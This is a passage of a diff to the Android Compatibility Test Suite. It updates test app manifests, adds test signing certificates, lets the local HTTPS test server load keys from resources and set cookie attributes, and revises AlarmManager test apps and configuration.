index f030c3f..a184b0e 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.B"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App B2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv3.xml b/libs/install/testapp/Bv3.xml
new file mode 100644
index 0000000..61ef4e70
--- /dev/null
+++ b/libs/install/testapp/Bv3.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="3"
+     android:versionName="3.0">
+
+
+    <uses-sdk android:minSdkVersion="19"/>
+
+    <application android:label="Test App B3">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index edb69f9..63ca6dc 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -16,20 +16,21 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.C"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.C"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App C1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Cv2.xml b/libs/install/testapp/Cv2.xml
new file mode 100644
index 0000000..93e0bfd
--- /dev/null
+++ b/libs/install/testapp/Cv2.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.install.lib.testapp.C"
+     android:versionCode="2"
+     android:versionName="2.0">
+
+
+    <uses-sdk android:minSdkVersion="19"/>
+
+    <application android:label="Test App C2"
+         android:rollbackDataPolicy="wipe">
+        <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/libs/install/testapp/signing/Android.bp b/libs/install/testapp/signing/Android.bp
new file mode 100644
index 0000000..9cc6862
--- /dev/null
+++ b/libs/install/testapp/signing/Android.bp
@@ -0,0 +1,13 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_app_certificate {
+    name: "cts-ec-p256",
+    certificate: "ec-p256",
+}
+
+android_app_certificate {
+    name: "cts-ec-p256_2",
+    certificate: "ec-p256_2",
+}
diff --git a/libs/install/testapp/signing/ec-p256-por-1_2 b/libs/install/testapp/signing/ec-p256-por-1_2
new file mode 100644
index 0000000..509ea3b
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256-por-1_2
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256.pk8 b/libs/install/testapp/signing/ec-p256.pk8
new file mode 100644
index 0000000..f781c30
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256.pk8
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256.x509.pem b/libs/install/testapp/signing/ec-p256.x509.pem
new file mode 100644
index 0000000..06adcfe
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbDCCARGgAwIBAgIJAMoPtk37ZudyMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTYwMzMxMTQ1ODA2WhcNNDMwODE3MTQ1ODA2WjASMRAwDgYD
+VQQDDAdlYy1wMjU2MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEpl8RPSLLSROQ
+gwesMe4roOkTi3hfrGU20U6izpDStL/hlLUM3I4Wn1SnOpke8Pp2MpglvgeMx4J0
+BwPaRLTX66NQME4wHQYDVR0OBBYEFNQTNWi5WzAVizIgceqMQ/9bBczIMB8GA1Ud
+IwQYMBaAFNQTNWi5WzAVizIgceqMQ/9bBczIMAwGA1UdEwQFMAMBAf8wCgYIKoZI
+zj0EAwIDSQAwRgIhAPUEoIZsrvAp9BcULFy3E1THn/zR1kBhjfyk8Z4W23jWAiEA
++O6kgpeZwGytCMbT0tLsBeBXQVTnR+oP27gELLZVqt0=
+-----END CERTIFICATE-----
diff --git a/libs/install/testapp/signing/ec-p256_2.pk8 b/libs/install/testapp/signing/ec-p256_2.pk8
new file mode 100644
index 0000000..5e73f27
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256_2.pk8
Binary files differ
diff --git a/libs/install/testapp/signing/ec-p256_2.x509.pem b/libs/install/testapp/signing/ec-p256_2.x509.pem
new file mode 100644
index 0000000..f8e5e65
--- /dev/null
+++ b/libs/install/testapp/signing/ec-p256_2.x509.pem
@@ -0,0 +1,10 @@
+-----BEGIN CERTIFICATE-----
+MIIBbTCCAROgAwIBAgIJAIhVvR3SsrIlMAoGCCqGSM49BAMCMBIxEDAOBgNVBAMM
+B2VjLXAyNTYwHhcNMTgwNzEzMTc0MTUxWhcNMjgwNzEwMTc0MTUxWjAUMRIwEAYD
+VQQDDAllYy1wMjU2XzIwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAQdTMoEcq2X
+7jzs7w2pPWK0UMZ4gzOzbnVTzen3SrXfALu6a6lQ5oRh1wu8JxtiFR2tLeK/YgPN
+IHaAHHqdRCLho1AwTjAdBgNVHQ4EFgQUeZHZKwII/ESL9QbU78n/9CjLXl8wHwYD
+VR0jBBgwFoAU1BM1aLlbMBWLMiBx6oxD/1sFzMgwDAYDVR0TBAUwAwEB/zAKBggq
+hkjOPQQDAgNIADBFAiAnaauxtJ/C9TR5xK6SpmMdq/1SLJrLC7orQ+vrmcYwEQIh
+ANJg+x0fF2z5t/pgCYv9JDGfSQWj5f2hAKb+Giqxn/Ce
+-----END CERTIFICATE-----
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
index 4d8a3b9..c1de522 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
@@ -32,6 +32,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.cts.install.lib.InstallUtils;
 import com.android.cts.install.lib.LocalIntentSender;
 import com.android.cts.install.lib.TestApp;
 
@@ -115,7 +116,8 @@
     }
 
     /**
-     * Commit the given rollback.
+     * Commit the given rollback. This method won't return until the committed session is made
+     * ready or failed. The caller is safe to immediately reboot the device right after the call.
      * @throws AssertionError if the rollback fails.
      */
     public static void rollback(int rollbackId, TestApp... causePackages)
@@ -126,14 +128,20 @@
         }
 
         RollbackManager rm = getRollbackManager();
-        rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
+        LocalIntentSender sender = new LocalIntentSender();
+        rm.commitRollback(rollbackId, causes, sender.getIntentSender());
+        Intent result = sender.getResult();
         int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
                 RollbackManager.STATUS_FAILURE);
         if (status != RollbackManager.STATUS_SUCCESS) {
             String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
             throw new AssertionError(message);
         }
+
+        RollbackInfo committed = getCommittedRollbackById(rollbackId);
+        if (committed.isStaged()) {
+            InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        }
     }
 
     /**
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 201cd8d..c3a1eec 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -14,13 +14,7 @@
 
 // The library variant that brings in androidx-test transitively
 package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
+    default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 java_library {
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 3e781c3..0d3292b 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -49,6 +49,7 @@
 
 import java.io.BufferedOutputStream;
 import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -59,8 +60,13 @@
 import java.net.Socket;
 import java.net.URI;
 import java.net.URLEncoder;
+import java.security.Key;
+import java.security.KeyFactory;
 import java.security.KeyStore;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.ArrayList;
 import java.util.Date;
 import java.util.HashMap;
@@ -187,7 +193,7 @@
      * @throws Exception
      */
     public CtsTestServer(Context context, SslMode sslMode) throws Exception {
-        this(context, sslMode, new CtsTrustManager());
+        this(context, sslMode, 0, 0);
     }
 
     /**
@@ -199,6 +205,33 @@
      */
     public CtsTestServer(Context context, SslMode sslMode, X509TrustManager trustManager)
             throws Exception {
+        this(context, sslMode, trustManager, 0, 0);
+    }
+
+    /**
+     * Create and start a local HTTP server instance.
+     * @param context The application context to use for fetching assets.
+     * @param sslMode Whether to use SSL, and if so, what client auth (if any) to use.
+     * @param keyResId Raw resource ID of the server private key to use.
+     * @param certResId Raw resource ID of the server certificate to use.
+     * @throws Exception
+     */
+    public CtsTestServer(Context context, SslMode sslMode, int keyResId, int certResId)
+            throws Exception {
+        this(context, sslMode, new CtsTrustManager(), keyResId, certResId);
+    }
+
+    /**
+     * Create and start a local HTTP server instance.
+     * @param context The application context to use for fetching assets.
+     * @param sslMode Whether to use SSL, and if so, what client auth (if any) to use.
+     * @param trustManager the trustManager
+     * @param keyResId Raw resource ID of the server private key to use.
+     * @param certResId Raw resource ID of the server certificate to use.
+     * @throws Exception
+     */
+    public CtsTestServer(Context context, SslMode sslMode, X509TrustManager trustManager,
+            int keyResId, int certResId) throws Exception {
         mContext = context;
         mAssets = mContext.getAssets();
         mResources = mContext.getResources();
@@ -207,7 +240,12 @@
         mMap = MimeTypeMap.getSingleton();
         mQueries = new Vector<String>();
         mTrustManager = trustManager;
-        mServerThread = new ServerThread(this, mSsl);
+        if (keyResId == 0 && certResId == 0) {
+            mServerThread = new ServerThread(this, mSsl, null, null);
+        } else {
+            mServerThread = new ServerThread(this, mSsl, mResources.openRawResource(keyResId),
+                    mResources.openRawResource(certResId));
+        }
         if (mSsl == SslMode.INSECURE) {
             mServerUri = "http:";
         } else {
@@ -373,11 +411,23 @@
     /**
      * getSetCookieUrl returns a URL that attempts to set the cookie
      * "key=value" when fetched.
-     * @param path a suffix to disambiguate mulitple Cookie URLs.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
      * @param key the key of the cookie.
      * @return the url for a page that attempts to set the cookie.
      */
     public String getSetCookieUrl(String path, String key, String value) {
+        return getSetCookieUrl(path, key, value, null);
+    }
+
+    /**
+     * getSetCookieUrl returns a URL that attempts to set the cookie
+     * "key=value" with the given list of attributes when fetched.
+     * @param path a suffix to disambiguate multiple Cookie URLs.
+     * @param key the key of the cookie
+     * @param attributes the attributes to set
+     * @return the url for a page that attempts to set the cookie.
+     */
+    public String getSetCookieUrl(String path, String key, String value, String attributes) {
         StringBuilder sb = new StringBuilder(getBaseUri());
         sb.append(SET_COOKIE_PREFIX);
         sb.append(path);
@@ -385,6 +435,10 @@
         sb.append(key);
         sb.append("&value=");
         sb.append(value);
+        if (attributes != null) {
+            sb.append("&attributes=");
+            sb.append(attributes);
+        }
         return sb.toString();
     }
 
@@ -697,7 +751,11 @@
             Uri parsedUri = Uri.parse(uriString);
             String key = parsedUri.getQueryParameter("key");
             String value = parsedUri.getQueryParameter("value");
+            String attributes = parsedUri.getQueryParameter("attributes");
             String cookie = key + "=" + value;
+            if (attributes != null) {
+                cookie = cookie + "; " + attributes;
+            }
             response.addHeader("Set-Cookie", cookie);
             response.setEntity(createPage(cookie, cookie));
         } else if (path.startsWith(LINKED_SCRIPT_PREFIX)) {
@@ -899,12 +957,13 @@
             "k1ufZyOOcskeInQge7jzaRfmKg3U94r+spMEvb0AzDQVOKvjjo1ivxMSgFRZaDb/4qw=";
 
         private static final String PASSWORD = "android";
+        private static final char[] EMPTY_PASSWORD = new char[0];
 
         /**
          * Loads a keystore from a base64-encoded String. Returns the KeyManager[]
          * for the result.
          */
-        private static KeyManager[] getKeyManagers() throws Exception {
+        private static KeyManager[] getHardCodedKeyManagers() throws Exception {
             byte[] bytes = Base64.decode(SERVER_KEYS_BKS.getBytes(), Base64.DEFAULT);
             InputStream inputStream = new ByteArrayInputStream(bytes);
 
@@ -919,11 +978,44 @@
             return keyManagerFactory.getKeyManagers();
         }
 
+        private KeyManager[] getKeyManagersFromStreams(InputStream key, InputStream cert)
+                throws Exception {
+            ByteArrayOutputStream os = new ByteArrayOutputStream();
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = key.read(buffer, 0, buffer.length)) != -1) {
+                os.write(buffer, 0, n);
+            }
+            key.close();
+            byte[] keyBytes = os.toByteArray();
+            KeyFactory kf = KeyFactory.getInstance("RSA");
+            Key privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(keyBytes));
 
-        public ServerThread(CtsTestServer server, SslMode sslMode) throws Exception {
+            CertificateFactory cf = CertificateFactory.getInstance("X.509");
+            Certificate[] chain = new Certificate[1];
+            chain[0] = cf.generateCertificate(cert);
+
+            KeyStore keyStore = KeyStore.getInstance("PKCS12");
+            keyStore.load(/*stream=*/null, /*password*/null);
+            keyStore.setKeyEntry("server", privKey, EMPTY_PASSWORD, chain);
+
+            String algorithm = KeyManagerFactory.getDefaultAlgorithm();
+            KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(algorithm);
+            keyManagerFactory.init(keyStore, EMPTY_PASSWORD);
+            return keyManagerFactory.getKeyManagers();
+        }
+
+        ServerThread(CtsTestServer server, SslMode sslMode, InputStream key,
+                InputStream cert) throws Exception {
             super("ServerThread");
             mServer = server;
             mSsl = sslMode;
+            KeyManager[] keyManagers;
+            if (key == null && cert == null) {
+                keyManagers = getHardCodedKeyManagers();
+            } else {
+                keyManagers = getKeyManagersFromStreams(key, cert);
+            }
             int retry = 3;
             while (true) {
                 try {
@@ -931,7 +1023,7 @@
                         mSocket = new ServerSocket(0);
                     } else {  // Use SSL
                         mSslContext = SSLContext.getInstance("TLS");
-                        mSslContext.init(getKeyManagers(), mServer.getTrustManagers(), null);
+                        mSslContext.init(keyManagers, mServer.getTrustManagers(), null);
                         mSocket = mSslContext.getServerSocketFactory().createServerSocket(0);
                         if (mSsl == SslMode.TRUST_ANY_CLIENT) {
                             HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier() {
diff --git a/suite/audio_quality/client/AndroidManifest.xml b/suite/audio_quality/client/AndroidManifest.xml
index 70a6b7e..ad6eca1 100644
--- a/suite/audio_quality/client/AndroidManifest.xml
+++ b/suite/audio_quality/client/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2012 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,23 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.audiotest" >
-<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+     package="com.android.cts.audiotest">
+<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 <uses-permission android:name="android.permission.INTERNET"/>
 <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
-    <application
-        android:label="@string/app_name" >
-        <activity
-            android:name=".CtsAudioClientActivity"
-            android:label="@string/app_name"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode" >
+    <application android:label="@string/app_name">
+        <activity android:name=".CtsAudioClientActivity"
+             android:label="@string/app_name"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/AlarmManager/Android.bp b/tests/AlarmManager/Android.bp
index 8e06f00..2cae00e 100644
--- a/tests/AlarmManager/Android.bp
+++ b/tests/AlarmManager/Android.bp
@@ -31,6 +31,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-scheduling",
     ],
     platform_apis: true,
 }
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
index 30395c0..b09f0a50 100644
--- a/tests/AlarmManager/AndroidManifest.xml
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -17,8 +17,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.alarmmanager.cts" >
 
-    <application android:label="Cts Alarm Manager Test">
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
+    <application android:label="Cts Alarm Manager Test"
+                 android:debuggable="true">
         <uses-library android:name="android.test.runner"/>
+
+        <receiver android:name=".AlarmReceiver" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index 4369acc..d4bbeae 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="runtime-hint" value="1m" />
     </test>
 
+    <object type="module_controller"
+            class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="android.scheduling"/>
+    </object>
 </configuration>
diff --git a/tests/AlarmManager/TEST_MAPPING b/tests/AlarmManager/TEST_MAPPING
new file mode 100644
index 0000000..e80fa11
--- /dev/null
+++ b/tests/AlarmManager/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAlarmManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/AlarmManager/app/Android.bp b/tests/AlarmManager/app/Android.bp
index 52bfc30..0028689 100644
--- a/tests/AlarmManager/app/Android.bp
+++ b/tests/AlarmManager/app/Android.bp
@@ -23,6 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     srcs: ["src/**/*.java"],
     dex_preopt: {
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
index f5b04b6..08b42f3 100644
--- a/tests/AlarmManager/app/AndroidManifest.xml
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="android.alarmmanager.alarmtestapp.cts">
 
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM"/>
+
     <application>
         <receiver android:name=".TestAlarmScheduler"
                   android:exported="true" />
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
index 55ea6cf..0e7b8b5 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -26,11 +26,13 @@
     private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
     public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
     public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+    public static final String EXTRA_ID = PACKAGE_NAME + ".extra.ID";
 
     @Override
     public void onReceive(Context context, Intent intent) {
         final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
-        Log.d(TAG, "Alarm expired " + count + " times");
+        final long id = intent.getLongExtra(EXTRA_ID, -1);
+        Log.d(TAG, "Alarm " + id + " expired " + count + " times");
         final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
         reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
         reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
index 35763be..d9db0b0 100644
--- a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmScheduler.java
@@ -16,11 +16,13 @@
 
 package android.alarmmanager.alarmtestapp.cts;
 
+import android.app.Activity;
 import android.app.AlarmManager;
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.SystemClock;
 import android.util.Log;
 
 /**
@@ -34,8 +36,8 @@
     public static final String ACTION_SET_ALARM = PACKAGE_NAME + ".action.SET_ALARM";
     public static final String EXTRA_TRIGGER_TIME = PACKAGE_NAME + ".extra.TRIGGER_TIME";
     public static final String EXTRA_REPEAT_INTERVAL = PACKAGE_NAME + ".extra.REPEAT_INTERVAL";
+    public static final String EXTRA_WINDOW_LENGTH = PACKAGE_NAME + ".extra.WINDOW_LENGTH";
     public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
-    public static final String EXTRA_ALLOW_WHILE_IDLE = PACKAGE_NAME + ".extra.ALLOW_WHILE_IDLE";
     public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
     public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
     public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
@@ -45,9 +47,12 @@
         final AlarmManager am = context.getSystemService(AlarmManager.class);
         final Intent receiverIntent = new Intent(context, TestAlarmReceiver.class);
         receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        final PendingIntent alarmClockSender =
-                PendingIntent.getBroadcast(context, 0, receiverIntent, 0);
-        final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent, 0);
+        final long id = SystemClock.elapsedRealtime();
+        receiverIntent.putExtra(TestAlarmReceiver.EXTRA_ID, id);
+        final PendingIntent alarmClockSender = PendingIntent.getBroadcast(context, 0,
+                receiverIntent, PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+        final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1, receiverIntent,
+                PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
         switch (intent.getAction()) {
             case ACTION_SET_ALARM_CLOCK:
                 if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
@@ -56,8 +61,9 @@
                 }
                 final AlarmManager.AlarmClockInfo alarmClockInfo =
                         intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
-                Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+                Log.d(TAG, "Setting alarm clock " + alarmClockInfo + " id: " + id);
                 am.setAlarmClock(alarmClockInfo, alarmClockSender);
+                setResult(Activity.RESULT_OK, null, null);
                 break;
             case ACTION_SET_ALARM:
                 if (!intent.hasExtra(EXTRA_TYPE) || !intent.hasExtra(EXTRA_TRIGGER_TIME)) {
@@ -67,25 +73,26 @@
                 final int type = intent.getIntExtra(EXTRA_TYPE, 0);
                 final long triggerTime = intent.getLongExtra(EXTRA_TRIGGER_TIME, 0);
                 final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
-                final boolean allowWhileIdle = intent.getBooleanExtra(EXTRA_ALLOW_WHILE_IDLE,
-                        false);
-                Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
-                        + ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
+                final long window = intent.getLongExtra(EXTRA_WINDOW_LENGTH, 1);
+
+                Log.d(TAG, "Setting alarm: id=" + id + " type=" + type + ", triggerTime="
+                        + triggerTime + ", interval=" + interval + " window=" + window);
                 if (interval > 0) {
                     am.setRepeating(type, triggerTime, interval, alarmSender);
-                } else if (allowWhileIdle) {
-                    am.setExactAndAllowWhileIdle(type, triggerTime, alarmSender);
                 } else {
-                    am.setExact(type, triggerTime, alarmSender);
+                    am.setWindow(type, triggerTime, window, alarmSender);
                 }
+                setResult(Activity.RESULT_OK, null, null);
                 break;
             case ACTION_CANCEL_ALL_ALARMS:
                 Log.d(TAG, "Cancelling all alarms");
                 am.cancel(alarmClockSender);
                 am.cancel(alarmSender);
+                setResult(Activity.RESULT_OK, null, null);
                 break;
             default:
                 Log.e(TAG, "Unspecified action " + intent.getAction());
+                setResult(Activity.RESULT_CANCELED, null, null);
                 break;
         }
     }
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java
new file mode 100644
index 0000000..66457a9
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AlarmManagerDeviceConfigHelper.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.provider.DeviceConfig;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+public class AlarmManagerDeviceConfigHelper {
+    private static final DeviceConfig.Properties EMPTY_PROPERTIES = new DeviceConfig.Properties(
+            DeviceConfig.NAMESPACE_ALARM_MANAGER, Collections.emptyMap());
